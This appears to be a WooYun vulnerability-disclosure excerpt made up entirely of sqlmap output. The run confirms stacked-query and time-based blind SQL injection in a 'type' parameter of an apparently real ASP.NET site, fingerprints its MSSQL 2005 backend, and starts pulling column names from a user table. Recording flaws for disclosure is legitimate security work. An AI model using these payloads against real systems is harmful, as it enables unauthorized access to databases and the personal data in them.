WooYun.org

[15:18:19] [INFO] testing connection to the target URL
[15:18:20] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: type
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: key=xx&type=1; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: key=xx&type=1 WAITFOR DELAY '0:0:5'--
---
[15:18:20] [INFO] testing Microsoft SQL Server
[15:18:20] [INFO] confirming Microsoft SQL Server
[15:18:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:18:20] [INFO] fetching columns for table 'tb_user' in database 'kuaida'
[15:18:20] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[15:18:20] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
sqlmap got a 302 redirect to 'http://25555555.com:80/menpiao/500.htm'. Do you want to follow? [Y/n] Y
[15:18:36] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
14
[15:18:50] [INFO] retrieved:
[15:18:55] [INFO] adjusting time delay to 3 seconds due to good response times
address
[15:20:55] [INFO] retrieved: b
[15:21:23] [ERROR] invalid character detected. retrying..
[15:21:23] [WARNING] increasing time delay to 4 seconds
irthday
[15:23:31] [INFO] retrieved: classId
[15:25:28] [INFO] retrieved: email
[15:26:49] [INFO] retrieved: fax